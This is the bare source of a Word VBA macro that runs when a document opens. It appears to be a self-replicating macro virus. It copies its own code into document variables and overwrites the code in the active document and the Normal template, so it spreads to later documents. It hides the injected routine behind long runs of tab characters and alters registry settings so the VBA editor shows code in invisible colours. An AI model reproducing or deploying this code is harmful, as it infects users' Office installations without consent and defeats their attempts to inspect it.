Private Sub Document_Open()

ResetMe = String(5, Chr(13))
ResetMe = ResetMe & String(200, Chr(9)) & "Private Sub Document_Close()" & Chr(13)
ResetMe = ResetMe & String(200, Chr(9)) & "With ThisDocument.VBProject.VBComponents(1).CodeModule: .DeleteLines 1, .CountOfLines: .InsertLines 1, ThisDocument.Variables(chr(65)).Value: End With: ThisDocument.Save" & Chr(13)
ResetMe = ResetMe & String(200, Chr(9)) & "End Sub"

For x = 1 To ThisDocument.Variables.Count
    ThisDocument.Variables(x).Delete
Next x

With ThisDocument.VBProject.VBComponents(1).CodeModule
    VCC = .Lines(1, .CountOfLines)
End With

With ActiveDocument.VBProject.VBComponents(1).CodeModule
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, ResetMe
End With

With Normal.ThisDocument.VBProject.VBComponents(1).CodeModule
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, ResetMe
End With

ActiveDocument.Variables.Add (Chr(65)), VCC
Normal.ThisDocument.Variables.Add (Chr(65)), VCC

System.PrivateProfileString ("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
System.PrivateProfileString ("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
End Sub